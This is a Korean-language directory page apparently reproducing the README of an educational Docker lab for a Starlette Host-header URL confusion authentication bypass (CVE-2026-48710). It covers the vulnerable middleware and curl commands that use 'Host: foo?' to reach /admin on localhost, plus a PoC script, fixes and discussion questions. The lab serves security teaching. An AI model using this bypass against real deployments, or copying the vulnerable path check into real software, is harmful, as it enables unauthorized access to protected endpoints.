Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
starlette-host-header-lab — Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710 | Kitploit
도구/GitHubGitHub/xtremebeing/starlette-host-header-lab
Vulnerability AnalysisWeb SecurityAuthenticationMisconfigurationLearning & EducationLabs & Practice
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710

저장소 보기
12개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Starlette 호스트 헤더 URL 혼동 실습 (X41-2026-002)

X41 D-Sec이 공개한 Starlette 인증 우회 취약점을 재현하는 자체 포함형 컨테이너 기반 교육 실습입니다.

  • 권고(Advisory): X41-2026-002
  • GHSA: GHSA-86qp-5c8j-p5mr
  • CWE: 436 — 해석 충돌 / 함수 호출의 신뢰할 수 없는 입력
  • CVSS: 7.0 (높음)
  • 영향 범위: Starlette >= 0.8.3, < 1.0.1 (실습은 0.37.2로 고정)
  • 수정 버전: Starlette 1.0.1

⚠️ 승인된 보안 교육용으로만 사용하세요. 이 앱은 의도적으로 취약하게 설계되었습니다. 외부에서 접근 가능한 네트워크에 배포하지 마십시오.


한 문단으로 보는 취약점

Starlette는 원시 ASGI scope["path"]를 사용하여 요청을 라우트로 디스패치하지만, request.url은 클라이언트가 제공한 Host 헤더를 "{scheme}://{host}{path}"로 문자열 포맷팅하여 재구성합니다 — RFC 9112 §3.2에 따라 Host 헤더를 검증하지 않습니다. URL 메타문자(?, /, #)가 그대로 통과되기 때문에 공격자는 재구성된 경로가 라우팅된 경로와 다르게 만들 수 있습니다. 라우터가 여전히 보호된 핸들러에 도달하는 동안 request.url.path를 기준으로 작성된 모든 보안 검사는 속임을 당할 수 있습니다.

PoC가 작동하는 이유

취약한 미들웨어는 request.url.path가 / 또는 빈 값일 때만 요청을 허용합니다:

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # allowed
return PlainTextResponse("Forbidden", status_code=403)

GET /admin에 대해 Host: foo?를 보냅니다:

구성 요소사용되는 값
Router (scope["path"])

?는 그 뒤의 모든 것을 쿼리 문자열로 바꾸므로 파싱된 경로는 빈 값이 됩니다. 인증은 빈 경로를 보고 통과시키며, 라우터는 여전히 /admin을 제공합니다. 우회 성공.


실습 실행

Docker + Docker Compose가 필요합니다.

root@kitploit:~
docker compose up --build

두 개의 서비스가 시작됩니다:

서비스URL동작
vulnerablehttp://localhost:8000우회 가능
fixedhttp://localhost:8001완화됨 (두 가지 방식)

익스플로잇 실행

root@kitploit:~
# Blocked normally:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

또는 안내형 PoC 스크립트를 실행합니다:

root@kitploit:~
./exploit/exploit.sh        # attacks :8000 (succeeds)
./exploit/exploit.sh 8001   # attacks :8001 (fails — fixed)

취약한 /admin 핸들러는 혼동이 드러나는 JSON 본문을 반환합니다 — scope_path와 reconstructed_path가 어떻게 다른지 주목하세요:

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

수정 방법

fixed/fixed_app.py를 참조하세요. 두 가지 독립적인 완화 조치가 있습니다:

  1. 권위 있는 값을 사용하세요. 재구성된 request.url.path 대신 라우터가 사용하는 동일한 원시 경로인 request.scope["path"]를 기준으로 인증 여부를 결정하세요.
  2. 심층 방어. TrustedHostMiddleware는 애플리케이션 로직이 실행되기 전에 예상치 못한 형식 또는 잘못된 형식의 Host 헤더를 거부합니다. 이는 RFC를 준수하는 리버스 프록시(nginx/Apache)가 업스트림에서 수행하는 동작을 그대로 따릅니다.

실제 환경에서의 수정 방법은 간단히 Starlette ≥ 1.0.1로 업그레이드하는 것입니다. 이 버전은 URL 재구성 중에 Host 헤더를 검증합니다.


엔지니어를 위한 토론 주제

  1. 일반적인 스택에서 신뢰할 수 없는 입력으로부터 값이 재구성된 다음 신뢰되는 다른 사례는 무엇이 있을까요? (힌트: SSRF 허용 목록, OAuth redirect_uri, 캐시 키, Host로 구성된 비밀번호 재설정 링크.)
  2. "라우팅된 엔드포인트를 기준으로 결정"하는 것보다 "잘못된 경로 차단"(/admin)이 왜 더 취약할까요? 라우팅이 대소문자를 구분하지 않거나 후행 슬래시 리다이렉션이 있다면 어떻게 될까요?
  3. 이것은 CWE-436(해석 충돌)입니다. 이와 같은 형태를 공유하는 다른 유명한 버그는 무엇이 있을까요? (HTTP 요청 스머글링, 유니코드 정규화 인증 우회, 0.0.0.0-day.)

파일 구성

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # the deliberately vulnerable service
├── fixed/fixed_app.py      # mitigated service for comparison
├── exploit/exploit.sh      # guided proof-of-concept
├── requirements.txt        # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
도구 다운로드
/admin → admin() 디스패치
request.urlhttp://foo?/admin
request.url.path"" → 인증 검사 통과 ✅